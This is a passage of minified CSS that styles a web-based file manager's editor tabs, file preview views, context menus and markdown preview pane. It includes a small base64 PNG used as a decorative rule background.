img{width:80%;padding-top:15px;}.content-info{text-align:center;}.content-info .name{padding:30px;padding-bottom:2px;font-size:22px;word-wrap:break-word;word-break:break-all;}.content-info .size{color:#888;}.content-info .size i{font-style:normal;color:#aaa;padding-left:10px;}.content-info .btn-group{margin-top:25px;}.content-info .btn-download{width:115px;}.content-info .dropdown-toggle{height:20px;}.content-info .error-tips{padding-top:15px;color:#bbb;}.title-box{height:36px;width:800px;border-bottom:1px solid #ddd;margin:0 auto;margin-top:10px;}.title-box .name{font-size:20px;float:left;}.title-box .size{float:left;line-height:30px;padding-left:10px;}.title-box .size .share-time{padding-left:10px;font-style:normal;color:#aaa;}.title-box .btn-group{float:right;}.title-box .btn-group .btn-download{padding:4px 20px;}.title-box .btn-group .dropdown-toggle{height:16px;height:30px \9;}.content-box,.content-box.markdown-preview{min-width:200px;max-width:900px;margin:30px auto;margin-bottom:30px;padding:0 15px;}.show-image{text-align:center;}.show-image img{max-width:100%;}.show-pdf{width:100%;margin:0px;background:#ccc;position:absolute;top:0px;bottom:0px;}.show-code{border:1px solid #ddd;box-shadow:0 2px 5px rgba(0,0,0,0.2);width:80%;max-width:80%;position:absolute;bottom:0px;left:10%;top:0px;}.show-code pre{position:absolute;left:0;top:0;bottom:0;padding:20px;margin:0;overflow:auto;right:0;background:none;font-size:14px;line-height:1.6em;}.show-code .code{padding:0px;margin:0;height:100%;}.show-code .ace_editor{font-size:1em;font-family:Consolas, source-code-pro, Monaco, Menlo, 'Ubuntu Mono', Consolas, monospace, '';}.show-iframe{margin:0;width:100%;height:100%;position:absolute;top:0;bottom:0;left:0;right:0;}.show-flash{width:80%;margin:0 auto;padding-top:30px;height:90%;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.edit-main{color:#444;font-size:1em;width:100%;}.edit-main .edit-tab .tabs .edit-changed a.close{opacity:1.0;filter:alpha(opacity=100);color:#63acff;}.edit-main .edit-tab .tabs .edit-changed .icon-remove:before{content:"\f06a";}.edit-main .edit-tab .tabs .edit-changed a:hover.icon-remove:before{content:"\f057";}.context-menu-list{z-index:1000 !important;box-shadow:0 0px 10px rgba(0,0,0,0.15);border:1px solid #dfdfdf;border-radius:2px;max-height:500px;-webkit-animation-name:inherit;-webkit-animation-duration:inherit;-webkit-animation-timing-function:inherit;-webkit-animation-iteration-count:inherit;}.context-menu-list.code-font-list,.context-menu-list.code-theme-list{overflow-y:auto;overflow-x:hidden;}.context-menu-list.code-font-list .context-menu-item,.context-menu-list.code-theme-list .context-menu-item{padding:0px 10px 0 10px;}.context-menu-list.code-theme-list{width:180px !important;}.context-menu-list.code-charset-list{height:250px;overflow:auto;}.context-menu-list.code-charset-list .context-menu-item{padding:0 10px 0 0px;}.context-menu-list .gotoline-input input{padding:4px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;margin-left:15px;height:16px;}.context-menu-list .gotoline-input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.context-menu-list .code-charset-list .context-menu-item.selected .font-icon{margin-right:5px;margin-left:10px;}.code-mode-list{position:absolute;z-index:99;top:auto;right:300px;bottom:30px;overflow:auto;display:block;width:180px;height:250px;padding:35px 0 10px 0;}.code-mode-list li{padding:2px 2em;font-size:13px;cursor:pointer;line-height:20px;}.code-mode-list li.list-input{position:fixed;background:#eee;-webkit-transform:translateZ(0);height:30px;width:160px;bottom:292px;padding:4px 0 0 20px;}.code-mode-list li.list-input input{width:110px;padding:4px 10px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.code-mode-list li.list-input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.code-mode-list li.hover{background:#eee;background:#63acff;color:#fff;}.code-mode-list li.selected,.code-mode-list li.selected.hover{background:#63acff;color:#fff;}.edit-tab .tabs{height:29px;width:100%;background:#fff;overflow:hidden;border-bottom:1px solid #ddd;}.edit-tab .tabs .tab{position:relative;height:30px;line-height:30px;color:#666;width:120px;float:left;background:#f6f6f6;border-right:1px solid #ddd;}.edit-tab .tabs .tab .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.edit-tab .tabs .tab .name img{height:17px;padding-bottom:4px;padding-right:3px;}.edit-tab .tabs .tab .close{float:right;color:#aaa;position:relative;opacity:0.1;filter:alpha(opacity=10);font-size:1.25em;margin-right:3px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:18px;}.edit-tab .tabs .tab .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit-tab .tabs .tab .close:active{opacity:1.0;filter:alpha(opacity=100);}.edit-tab .tabs .tab.hover{background:#eee;background:linear-gradient(to right,#fff,#ccc);}.edit-tab .tabs .tab.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit-tab .tabs .tab.this{z-index:20;color:#23B2EC;color:#fff;background:#63acff;background:linear-gradient(to right,#44abf6,#2865e2);}.edit-tab .tabs .tab.this .close{opacity:0.1;filter:alpha(opacity=10);color:#eee;}.edit-tab .tabs .tab.this .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit-tab .tabs .tab.this .close:active{opacity:1.0;filter:alpha(opacity=100);color:#fff;}.edit-tab .tabs .tab.this.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit-tab .tabs .tab.loading .close{opacity:1.0;filter:alpha(opacity=100);color:#666;border-radius:20px;-webkit-animation:moveCircleLoop 1.4s infinite linear;animation:moveCircleLoop 1.4s infinite linear;}.edit-tab .tabs .tab.loading .close:before{content:"\f110";}.edit-tab .tabs .tab.loading.this .close{color:#ffffff;}.edit-tab .tabs .tab.loading.hover .close{opacity:1.0;filter:alpha(opacity=100);}.edit-tab .tabs .add{float:left;color:#666;line-height:25px;height:30px;border:1px solid #ddd;border-bottom:none;border-radius:3px 3px 0 0;font-size:8px;margin-top:2px;padding:0px 10px;background:#eee;margin-left:3px;}.edit-tab .tabs .add:hover{background:#ddd;}.edit-tab .tabs .add:active{background:#888;color:#ccc;}.draggable-dragging{position:absolute;z-index:99999;color:#fff;height:30px;line-height:30px;opacity:0.6;filter:alpha(opacity=60);width:120px;float:left;cursor:-webkit-grab;background:#63acff;background:linear-gradient(to right,#44abf6,#2865e2);}.draggable-dragging .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.draggable-dragging .name img{height:17px;padding-bottom:4px;padding-right:3px;}.draggable-dragging .close{display:none;}.edit-body{width:100%;background:#fff;position:absolute;bottom:0;top:59px;z-index:50;}.edit-body .tabs{width:100%;height:100%;position:absolute;top:0px;bottom:0;}.edit-body .tabs .edit-content{display:none;padding:0;margin:0;height:100%;width:100%;}.edit-body .tabs .edit-content.this{display:block;padding:0;}.edit-body .tabs .tab{padding:10px;display:none;}.edit-body .bottom-toolbar{width:auto;height:25px;z-index:25;position:absolute;bottom:5px;right:0;margin-right:20px;border-radius:4px;opacity:0.8;filter:alpha(opacity=80);background:#fff;border:1px solid #f3f3f3;}.edit-body .bottom-toolbar a{float:left;padding:0 10px;line-height:25px;text-decoration:none;color:#000;}.edit-body .bottom-toolbar a:hover{color:#63acff;}.edit-body .bottom-toolbar a.select{background:#63acff;color:#fff;border-radius:1px;}.edit-body .bottom-toolbar a .font-icon{color:#333;}.introduction{font-size:1em;position:fixed;width:100%;top:64px;left:0;bottom:0;overflow:auto;background:#FFF;}.introduction .intro-left{width:40%;float:left;}.introduction .tips{padding:5px;margin-bottom:0;color:#888;}.introduction .tips p{padding-left:2em;word-break:break-all;line-height:1.2em;}.introduction .tips p:before{content:"\f006";font-family:FontAwesome;padding-right:8px;}.introduction .tips h1{font-size:25px;font-weight:400;border-bottom:1px dashed #ddd;padding:4px 0 10px 5px;margin:5px 0 10px 10px;}.introduction .tips h1 span{border-bottom:3px solid #ddd;padding:8px;color:#666;}.introduction pre{margin-left:15px;padding:5px;color:#56A238;line-height:1.5em;background:#fff;border-bottom:1px solid #eee;}.introduction .intro-right{width:60%;float:left;}.introduction .blue{color:#8BB7D5;}.introduction .blue h1 span{border-color:#8BB7D5;color:#8BB7D5;}.introduction .orange{color:#F27642;}.introduction .orange h1 span{color:#F27642;border-color:#F27642;}.introduction .green{color:#56A238;border-left:1px solid #ddd;}.introduction .green h1 span{color:#56A238;border-color:#56A238;}div.tools{height:28px;z-index:999;border-bottom:1px solid #ddd;overflow:hidden;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;min-width:560px;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}div.tools .disable-mask{width:90%;height:32px;margin-left:-10px;background:#fff;right:100px;position:absolute;opacity:0.4;filter:alpha(opacity=40);z-index:10;margin-top:-4px;}div.tools .left{float:left;margin:0 0 0 5px;}div.tools .right{float:right;margin:0 5px 0 0;}div.tools a{font-size:1.25em;font-weight:800;float:left;color:#555;font-weight:400;text-decoration:none;padding:0px 9px;line-height:29px;height:29px;}div.tools a .font-icon{font-size:14px;color:#888;}div.tools a .icon-caret-down{padding-left:5px;font-size:1em;color:ccc;}div.tools a:hover{background:#eee;}div.tools a.select,div.tools a.select:hover,div.tools a:active{background:#63acff;color:#fff;}div.tools a.select i.font-icon,div.tools a.select:hover i.font-icon,div.tools a:active i.font-icon{color:#fff;}div.tools .right .btn{padding:1px 7px;margin-right:-1px;height:20px;background:#eee;margin-top:2px;float:right;line-height:20px;}div.tools .line{border-left:1px solid #ccc;margin:5px 4px;float:left;height:16px;}ul.dropbox{color:#666;font-size:1em;position:absolute;top:27px;z-index:1000;margin:0px;}ul.dropbox li{list-style:none;padding:2px 0 2px 10px;line-height:20px;cursor:pointer;}ul.dropbox .lihover,ul.dropbox li.this{background:#63acff;color:#fff;}#fontsize{display:none;left:166px;width:100px;min-width:100px;}#codetheme{display:none;left:173px;}body div#ace_settingsmenu,body div#kbshortcutmenu{background-color:#000;opacity:0.75;filter:alpha(opacity=75);color:#FFF;box-shadow:-5px 4px 5px rgba(0,0,0,0.2);-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}.edit-content .resize{position:absolute;background:#000;cursor:col-resize;margin-left:-5px;background-color:#f6f6f6;background-color:rgba(0,0,0,0.01);background:url("../../../images/common/resize.png") 0px 50% no-repeat;height:100%;width:10px;left:100%;z-index:100;}.edit-content .resize:hover{background-color:#eee;background-color:rgba(0,0,0,0.1);}.edit-content .resize.resize-active{background-color:#ddd;background-color:rgba(0,0,0,0.2);}.edit-content.markdown-full .ace_editor{width:100% !important;}.edit-content.markdown-full .resize{display:none;}.edit-content.markdown-full .edit-right-frame{width:0 !important;}.edit-right-frame{position:fixed;top:59px;right:0px;width:40%;bottom:0;background:#fff;border-left:1px solid #ddd;z-index:99;overflow:visible;}.edit-right-frame .mask-view{z-index:9999;opacity:0.05;filter:alpha(opacity=5);}.edit-right-frame .right-main{width:100%;height:100%;overflow:auto;}.edit-right-frame .preview-frame{position:absolute;top:0px;right:0;bottom:0;width:100%;background:#fff;}.edit-right-frame .preview-markdown-tool,.edit-right-frame .function-list-tool,.edit-right-frame .preview-url-tool{width:100%;height:25px;border-bottom:1px solid #ddd;}.edit-right-frame .preview-markdown-tool .box,.edit-right-frame .function-list-tool .box,.edit-right-frame .preview-url-tool .box{width:105px;height:25px;position:absolute;top:0px;right:0px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit-right-frame .preview-markdown-tool .box a,.edit-right-frame .function-list-tool .box a,.edit-right-frame .preview-url-tool .box a{font-weight:800;text-decoration:none;border:1px solid rgba(200,200,200,0.01);display:inline-block;margin-top:1px;margin-left:2px;font-size:1.25em;position:relative;padding:0px 5px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit-right-frame .preview-markdown-tool .box a .font-icon,.edit-right-frame .function-list-tool .box a .font-icon,.edit-right-frame .preview-url-tool .box a .font-icon{color:#999;}.edit-right-frame .preview-markdown-tool .box a:hover,.edit-right-frame .function-list-tool .box a:hover,.edit-right-frame .preview-url-tool .box a:hover{border:1px solid #ccc;box-shadow:0 0 20px rgba(0,0,0,0.2) inset;}.edit-right-frame .preview-url-frame .preview-frame-content{position:absolute;right:0px;left:0px;bottom:0px;overflow:auto;top:25px;background:#fff;}.edit-right-frame .preview-url-frame .input-content{position:absolute;height:27px;right:100px;left:0px;}.edit-right-frame .preview-url-frame .input-content input{height:23px;border:none;border-right:1px solid #ddd;width:100%;padding-right:10px;text-shadow:1px 1px 3px #CCE;outline:none;color:#888;font-size:1.15em;box-shadow:#ddd 0px 0px 30px inset;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.edit-right-frame .preview-url-frame .input-content input:focus{box-shadow:#bbb 0px 0px 30px inset;}.edit-right-frame .preview-url-frame .box{border-left:1px solid #eee;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool{border:none;height:inherit;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box{position:absolute;bottom:0.1px;-webkit-transform:translateZ(0);z-index:999;top:20px;right:25px;background:rgba(200,200,200,0.2);opacity:0.6;filter:alpha(opacity=60);width:35px;height:140px;border:none;border-radius:0;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box .content{position:absolute;width:35px;top:0;left:0;height:100%;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box:hover{opacity:0.9;filter:alpha(opacity=90);}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box a{margin:0;padding:0;display:block;text-align:center;height:35px;border:none;line-height:35px;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box a .font-icon{color:#444;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box a:hover{border:none;background:#bbb;color:#000;box-shadow:none;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .box a:hover .font-icon{color:#222;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar{position:fixed;bottom:0.1px;z-index:999;-webkit-transform:translateZ(0);height:29px;margin-top:5px;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;left:420px;width:560px;top:-6px;border-left:1px solid #ddd;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .content{position:absolute;top:0;left:0;height:100%;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .md-tools{width:26px;height:100%;display:inline-block;text-decoration:none;text-align:center;margin:0;line-height:30px;float:left;padding:0;color:#666;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .md-tools:hover{background:#ccc;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .md-tools.md-tools-split{width:10px;color:#ccc;}.edit-right-frame .preview-markdown-frame .preview-markdown-tool .toolbar .md-tools.md-tools-split:hover{background:none;}.edit-right-frame .preview-markdown-frame .markdown-preview{padding:10px 35px 100px 35px;}.edit-right-frame .preview-markdown-frame .markdown-help{width:650px;background:#fff;height:80%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:absolute;top:20px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit-right-frame .preview-markdown-frame .markdown-help h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:20px;}.edit-right-frame .preview-markdown-frame .markdown-help .content{height:100%;overflow:auto;margin:10px;padding-bottom:20px;margin-right:0;}.edit-right-frame .preview-markdown-frame .markdown-help p{margin:0;}.edit-right-frame .preview-markdown-frame .markdown-help h5{font-weight:800;}.edit-right-frame .preview-markdown-frame .markdown-help pre{border-radius:4px;background:#eee;color:#777;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;font-size:12px;}.edit-right-frame .preview-markdown-frame .markdown-help .col-md-4{width:35%;padding-bottom:70px;}.edit-right-frame .preview-markdown-frame .markdown-menu-box{width:300px;background:#fff;height:80%;max-height:90%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:absolute;top:20px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit-right-frame .preview-markdown-frame .markdown-menu-box h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:22px;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .content{height:100%;overflow:auto;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu ul{padding:10px 10px 80px 10px;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu li{font-size:1em;list-style:none;text-overflow:ellipsis;white-space:nowrap;line-height:1.0em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu li a{display:block;text-decoration:none;padding:5px 6px;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu li a:hover{background:#def;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h2{margin-left:2em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h3{margin-left:3.5em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h4{margin-left:5em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h5{margin-left:6.5em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .markdown-menu-h6{margin-left:8em;}.edit-right-frame .preview-markdown-frame .markdown-menu-box .tools-markdown-more{position:absolute;top:20px;right:10px;}.edit-right-frame .preview-markdown-frame .markdown-setting{width:160px;height:auto;background:#fff;border:1px solid #ddd;z-index:10;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:absolute;top:125px;right:60px;-webkit-transform:translateZ(0);}.edit-right-frame .preview-markdown-frame .markdown-setting ul{padding:0;margin:10px 0;}.edit-right-frame .preview-markdown-frame .markdown-setting ul li{width:100%;height:25px;list-style:none;overflow:hidden;}.edit-right-frame .preview-markdown-frame .markdown-setting ul li.line{height:1px;background:#ddd;margin:5px 0;}.edit-right-frame .preview-markdown-frame .markdown-setting ul a,.edit-right-frame .preview-markdown-frame .markdown-setting ul a:visited{display:block;line-height:25px;text-decoration:none;padding:0 0 0 20px;color:#444;overflow:hidden;}.edit-right-frame .preview-markdown-frame .markdown-setting ul a i{padding-right:5px;color:#888;}.edit-right-frame .preview-markdown-frame .markdown-setting ul a:hover{background:#63acff;color:#fff;}.edit-right-frame .preview-markdown-frame .markdown-setting ul a:hover i{color:#fff;}.edit-right-frame .function-list .function-list-tool{height:100px;width:100%;}.edit-right-frame .function-search{position:absolute;top:30px;left:0;height:25px;right:5px;}.edit-right-frame .function-search input{padding:3px 2%;color:#222;margin:0 3%;width:90%;border-radius:3px;}.edit-right-frame .function-search .search-reset{position:absolute;top:5px;right:5%;font-size:1.25em;color:#aaa;display:block;cursor:pointer;}.edit-right-frame .function-search .search-reset:hover{color:#888;}.edit-right-frame .frame-right .function-list-parent{top:57px;}.edit-right-frame .function-list-box .cell b{color:#378eef;}.edit-right-frame .function-list-box .row-select .cell b{color:#ff9;}.edit-right-frame .function-list-tool{border:none;}.edit-right-frame .function-list-tool .box{width:100%;right:0px;overflow:hidden;background:#fff;}.edit-right-frame .function-list-tool .box span{display:block;padding:1px 10px;float:left;line-height:27px;}.edit-right-frame .function-list-tool .box a{display:block;float:right;margin-right:5px;}.edit-right-frame .function-list-parent{position:absolute;top:55px;right:0;bottom:15px;width:100%;background:#fff;}.edit-right-frame .function-list-box{padding:5px;-webkit-text-size-adjust:none;overflow:auto;margin-right:2px;height:100%;}.edit-right-frame .function-list-box .row-hover{background:#ddd;border-radius:3px;}.edit-right-frame .function-list-box .row-select{background:#63acff;color:#fff;border-radius:3px;}.edit-right-frame .function-list-box .cell-null{padding:10px 5px;color:#999;text-align:center;}.edit-right-frame .function-list-box .list-row{padding:2px 5px;cursor:default;font-family:Tahoma, Arial;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;}.edit-right-frame .function-list-box .list-row.row-hover{background:#ddd;border-radius:3px;}.edit-right-frame .function-list-box .list-row.row-select{background:#63acff;color:#fff;border-radius:3px;}.edit-right-frame .function-list-box .list-row .icon{font-family:FontAwesome;font-style:normal;width:20px;display:inline-block;text-decoration:inherit;font-size:10px;-webkit-transform:scale(0.8,0.8);transform:scale(0.8,0.8);}.edit-right-frame .function-list-box .list-row span{cursor:default;}.edit-right-frame .function-list-box .list-row.mark .icon{color:#666;}.edit-right-frame .function-list-box .list-row.mark .icon:before{content:"\f005";}.edit-right-frame .function-list-box .list-row.mark,.edit-right-frame .function-list-box .list-row.class{background:#eee;font-weight:800;border-radius:3px;}.edit-right-frame .function-list-box .list-row.mark.row-select,.edit-right-frame .function-list-box .list-row.class.row-select{color:#fff;background:#63acff;}.edit-right-frame .function-list-box .list-row.row-select .icon{color:#fff !important;}.edit-right-frame .function-list-box .list-row.class .icon{color:#888;}.edit-right-frame .function-list-box .list-row.class .icon:before{content:"\f0c9";}.edit-right-frame .function-list-box .list-row.function .icon{color:#378eef;}.edit-right-frame .function-list-box .list-row.function .icon:before{content:"\f111";}.edit-right-frame .function-list-box .list-row.function-define .icon{color:#98c878;}.edit-right-frame .function-list-box .list-row.function-value .icon{color:#ffb16d;}.edit-right-frame .function-list-box .list-row.function-var .icon{color:#008641;}.share-page-passowrd{margin:0 auto;width:220px;height:120p;margin-top:17%;border:1px solid #ddd;border-top:3px solid #666;padding:40px;border-radius:5px;background:#f6f6f6;}.share-page-passowrd b{font-size:20px;display:block;margin-bottom:20px;}.share-page-passowrd input{height:32px;display:inline-block;width:150px;padding:0px 5px;margin-right:10px;margin-bottom:10px;}.share-page-error{margin:0 auto;width:400px;margin-top:17%;border:1px solid #eee;padding:30px;border-radius:5px;background:#f6f6f6;font-size:1.25em;}.share-page-error b{font-size:25px;display:block;margin-bottom:20px;}.edit-content.markdown-full-page pre.ace_editor{width:100% !important;}.edit-content.markdown-full-page .resize{display:none;}.edit-content.markdown-full-page .edit-right-frame{top:0px;left:-1px;right:0;width:100% !important;bottom:0;}.edit-content.markdown-full-page .edit-right-frame .right-main{width:100% !important;}.edit-content.markdown-full-page .edit-right-frame .display-markdown{width:100% !important;background:none;}.edit-content.markdown-full-page .edit-right-frame .markdown-preview{width:80%;padding:50px 0;}.edit-content.markdown-full-page .edit-right-frame i.icon-resize-full:before{content:"\f066";}.edit-content.markdown-full-page .edit-right-frame .preview-markdown-tool .toolbar{width:80%;left:10%;border:none;border-bottom:1px solid #ddd;background:rgba(240,240,240,0.5);display:none;}.edit-content.markdown-full-page .edit-right-frame .preview-markdown-tool a[markdown-action="tool-markdown-full"]{pointer-events:none;}.edit-content.markdown-full-page .edit-right-frame .preview-markdown-tool a[markdown-action="tool-markdown-full"] i.font-icon{color:#ccc !important;}.edit-content.markdown-full a[markdown-action=tool-markdown-max]{display:none;pointer-events:none;}.edit-content.markdown-full a[markdown-action=tool-markdown-max] i.font-icon{color:#ccc !important;}.markdown-preview{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;text-align:justify;margin:auto;font-size:13px;line-height:1.6em;color:#555;}.markdown-preview article,.markdown-preview footer,.markdown-preview header,.markdown-preview nav{margin:0 auto;}.markdown-preview article{margin-top:4em;margin-bottom:4em;min-height:400px;}.markdown-preview footer{margin-bottom:50px;}.markdown-preview video{margin:2em 0;border:1px solid #ddd;}.markdown-preview nav{font-size:.9em;font-style:italic;border-bottom:1px solid #ddd;padding:1em 0;}.markdown-preview nav p{margin:0;}.markdown-preview details{margin:15px 0;}.markdown-preview summary{cursor:pointer;padding:4px;}.markdown-preview summary:focus{outline:none;box-shadow:0 0 3px #2196F3;}.markdown-preview .h1,.markdown-preview h1{font-size:2.2em;}.markdown-preview .h2,.markdown-preview h2{font-size:1.9em;}.markdown-preview .h3,.markdown-preview h3{font-size:1.6em;}.markdown-preview .h4,.markdown-preview h4{font-size:1.3em;}.markdown-preview .h5,.markdown-preview h5{font-size:1.2em;}.markdown-preview .h6,.markdown-preview h6{font-size:1.1em;}.markdown-preview .h1,.markdown-preview .h2,.markdown-preview .h3,.markdown-preview .h4,.markdown-preview .h5,.markdown-preview .h6,.markdown-preview h1,.markdown-preview h2,.markdown-preview h3,.markdown-preview h4,.markdown-preview h5,.markdown-preview h6{font-family:inherit;font-weight:500;color:#333;line-height:1.5em;padding:0.3em 0;margin:1em 0 1em 0;word-break:break-all;}.markdown-preview .h1,.markdown-preview h1{letter-spacing:1px;border-bottom:1px solid #ddd;}.markdown-preview .h2,.markdown-preview h2{padding-bottom:0.15em;}.markdown-preview p{-webkit-hypens:auto;-moz-hypens:auto;hyphens:auto;margin:10px 0;}.markdown-preview p,.markdown-preview li,.markdown-preview div,.markdown-preview ul{word-wrap:break-all;}.markdown-preview blockquote{margin-left:1em;padding:10px 15px;margin:10px 0 20px 0;border-left:10px solid #ddd;background:#f6f6f6;}.markdown-preview blockquote p{margin:0;font-weight:400;}.markdown-preview code{padding:2px 4px;color:#c7254e;background-color:#f9f2f4;border-radius:4px;}.markdown-preview pre{display:block;padding:0;overflow:auto;margin:0 0 10px;font-size:1em;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#333;background:none;border-radius:4px;}.markdown-preview code,.markdown-preview kbd,.markdown-preview pre,.markdown-preview samp{font-family:Consolas, 'Liberation Mono', 'Ubuntu Mono', Menlo, Courier, sans-serif;}.markdown-preview pre code{background:#f8f8f8;color:#777;white-space:pre-wrap;padding:6px 1em;border:1px solid #eee;display:block;}.markdown-preview a{color:#1980e6;text-decoration:none;}.markdown-preview a:hover{text-decoration:underline;}.markdown-preview a img{border:none;}.markdown-preview img{max-width:100%;}.markdown-preview h1 a,.markdown-preview h1 a:hover{text-decoration:none;}.markdown-preview hr{border:0 none;height:4px;margin:1.2em 0;background:rgba(0,0,0,0) url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;}@media screen and (min-width:900px){.markdown-preview body{ width:900px;}}.markdown-preview ul,.markdown-preview 